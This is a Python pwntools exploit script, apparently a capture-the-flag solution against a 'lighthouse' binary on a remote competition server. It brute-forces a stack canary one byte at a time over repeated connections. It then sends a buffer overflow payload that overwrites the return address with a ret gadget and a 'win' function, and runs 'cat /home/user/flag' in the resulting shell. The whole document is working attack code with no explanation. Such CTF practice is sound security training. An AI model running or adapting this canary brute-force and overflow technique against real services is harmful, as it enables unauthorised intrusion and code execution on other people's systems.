#!/usr/bin/env python3
from pwn import *

CANARY_OFF = 136
elf = context.binary = ELF('./lighthouse', checksec=False)

#p = remote('127.0.0.1',9001)
#p = remote('offsec.m0lecon.it',13575)
HOST = 'offsec.m0lecon.it'
PORT = 13535

known = b"\x00"

for i in range(7):
    for bval in range(256):
        guess = known + bytes([bval])
        payload = b"A" * CANARY_OFF + guess

        io = remote(HOST, PORT, level='error')

        io.recvuntil(b'>')
        io.sendline(b'1')
        #print(io.recvline())
        io.recvuntil(b'entry: \n')
        io.send(payload)

        try:
            data = io.recv(timeout=0.2)
        except EOFError:
            data = b""
        io.close()
        if b"Log entry recorded. Over and out." in data:
            known = guess
            log.success(f"byte {i+1}: {bval:02x}")
            break

canary = u64(known)

#canary = 0xaa0f007629225000

log.info(f"Canary: {canary:#x}")


io = remote(HOST, PORT, level='error')

io.recvuntil(b'>')
io.sendline(b'1')
        #print(io.recvline())
io.recvuntil(b'entry: \n')
payload = flat(
    b'A' * (CANARY_OFF),
    p64(canary),
    b'B' * 8, #rbp,
    p64(0x000000000040101a), #ret
    p64(0x0000000000401630), #win
)
io.send(payload)
io.sendline(b'cat /home/user/flag')
print(io.recvline())
#io.recvline()
#p.recvline()
#p.recvline()
